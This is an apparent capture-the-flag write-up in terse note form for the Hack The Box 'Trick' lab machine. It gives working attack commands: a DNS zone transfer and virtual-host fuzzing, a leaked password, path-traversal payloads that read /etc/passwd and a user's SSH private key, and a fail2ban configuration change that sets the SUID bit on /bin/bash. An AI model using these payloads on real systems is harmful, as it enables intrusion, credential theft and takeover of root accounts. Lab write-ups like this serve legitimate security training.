Trick - HTB - Key Points
October 11, 2022•523 words
dig axfr trick.htb @trick.htb
http://preprod-payroll.trick.htb/users.php
Enemigosss
Another page,
http://preprod-payroll.trick.htb/manage_user.php?id=1
value="SuperGucciRainbowCake"
ffuf -u http://trick.htb -H "Host:preprod-FUZZ.trick.htb" -w <wordlist>
/index.php?page=....//....//....//....///etc/passwd ###this reveals a user michael
/index.php?page=....//....//....//....///home/michael/.ssh/id_rsa
Following this research blog:
https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/
we see that we could modify the behaviour of fail2ban upon starting to gain elevated privileges.
We as part of security group can access the iptables-multiport.conf file, but we cannot simply edit it as we don't have the right permissions. We do have permissions, however, on the directory, so we can modify the file using the following approach:
mv iptables-multiport.conf tmp
mv tmp iptables-multiport.conf ###the file has a different owner now
chmod 666 iptables-multiport.conf
nano iptables-multiport.conf ###set the restart action as chmod +s /bin/bash
Now, once we restart fail2ban, the bash binary has the SUID bit set, so we can escalate our privileges and retrieve the root flag.